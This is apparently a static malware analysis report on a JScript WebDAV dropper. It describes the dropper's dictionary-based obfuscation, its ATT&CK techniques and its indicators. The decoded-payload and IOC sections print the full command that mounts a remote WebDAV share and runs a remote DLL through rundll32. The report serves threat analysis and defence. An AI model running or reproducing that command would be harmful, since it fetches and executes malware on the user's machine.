SHA-256:
f8dce7df01e67193715270902da32b193a7497b5ad82d8e8721516ed6654fd5df8dce7df — 872799881599015970.js
Sixty-fourth confirmed sibling of the unclassified-js-webdav-dropper cluster. JScript dictionary lookup-table obfuscation with a new extreme-padding dialect: a 2,478-character random-alphabet variable name and 62 random-noise keys mapping to single ASCII characters.
Build / RE
- Language: JScript (Windows Script Host), ASCII text, single line, 1,110,026 bytes. ^[file.txt]
- Obfuscation: Dictionary lookup-table (62 entries) on a 2,478-character random lowercase variable name (
fhqcygxmozqbjkzutyqcngpcyajufjbxepwkmxhwtmkcjgbtlexufgckjtutfdiuuyplyaikvmsemfvokynfmxwaqcwzlcitiaprwpwkfextzkdbgysuibjnznhttdhoibfbedbnynfueumootesyiqiqromhkehpmqeyecbspiqsmtvjwvhqkvojqqninmjztqjqlskytmhsxmvsjuumyuhfkkiawktwjntbhxvqjrmrnmhuohnmadhjxqvmbqosccdkqyibyovsctmhsnsaxbtawzilxmizydppwircnxxkihlmyelnmfoaannqgifpwupuiovtxngrpauwooztjnulxoygrnhurwoaavczzfwwqbdrqthxsvxyyimmzwhqnifhnccblxaumjnlbxlmwmgjfjpwakaeylakqazmqtvocxutfzfzwgrxnkuycjcekulksuzrwihuyrlatxyltutspbpnazpwsdmjqccxbbiaqpkxna…). Each key is a 50-200 character random noise string mapping to one printable ASCII character. The assembly engine isFunction(''+<concatenation>+'',0,false);which evaluates the concatenated string as JavaScript code. ^[f8dce7df01e6.bin:decoded] - Anti-analysis: None — no debugger checks, no VM detection, no sandbox gates, no time-bombs. Straight execution.
- Code quality: Extremely low — the 2,478-char variable name and ~757 KB concatenation tail are pure volume-based obfuscation, not algorithmic complexity. Hand-written, not generated by a commercial packer.
Deploy / ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file opened by user, decoded via Function() constructor ^[f8dce7df01e6.bin:decoded] |
| Execution | T1059.003 (Windows Command Shell) | cmd /c net use ... in decoded payload ^[f8dce7df01e6.bin:decoded] |
| Execution | T1218.011 (Rundll32) | rundll32 \\94.159.113.82@8888\davwwwroot\13924273943322.dll,Entry ^[f8dce7df01e6.bin:decoded] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | rundll32 proxy execution of remote DLL ^[f8dce7df01e6.bin:decoded] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | 62-entry noise-key dictionary + 2,478-char variable name ^[f8dce7df01e6.bin:decoded] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP via net use \\94.159.113.82@8888\davwwwroot\ ^[f8dce7df01e6.bin:decoded] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; rundll32 fetches and loads remote DLL ^[f8dce7df01e6.bin:decoded] |
IOCs
- WebDAV C2:
94.159.113.82:8888(vianet use \\94.159.113.82@8888\davwwwroot\) ^[f8dce7df01e6.bin:decoded] - Remote DLL:
13924273943322.dll(loaded viarundll32 ...,Entry) ^[f8dce7df01e6.bin:decoded] - Command:
cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\13924273943322.dll,Entry^[f8dce7df01e6.bin:decoded]
Decoded Payload
return this WScript CreateObject WScript.Shell run cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\13924273943322.dll,Entry
(Note: the @ in 94.159.113.82@8888 is the literal separator used in the WebDAV UNC path; this is how the Windows WebDAV client maps host:port to a UNC share. The : character was not present in the 62-character decoder map and appears as a literal string in the concatenation tail.)
Sibling Linkage
- Shares execution engine (
Function('return this')()+WScript.Shell.Run+net use+rundll32 ...,Entry) with the entire unclassified-js-webdav-dropper cluster. - New dialect: extreme variable-name padding (2,478 chars vs. typical 8-20 char object names in prior siblings) and random-noise keys at 62-entry cardinality (prior 62-entry siblings used natural-language or alliterative phrases; this is the sixth 62-entry noise-key variant).
- No PowerShell wrapper, no
wordpaddecoy, no sandbox gate, no nestedtry/catchdecoys — minimal execution chain.
Static-Only Limitations
- CAPE skipped — file is ASCII text, not a supported binary class. ^[dynamic-analysis.md]
- Inner DLL (
13924273943322.dll) was not available for analysis.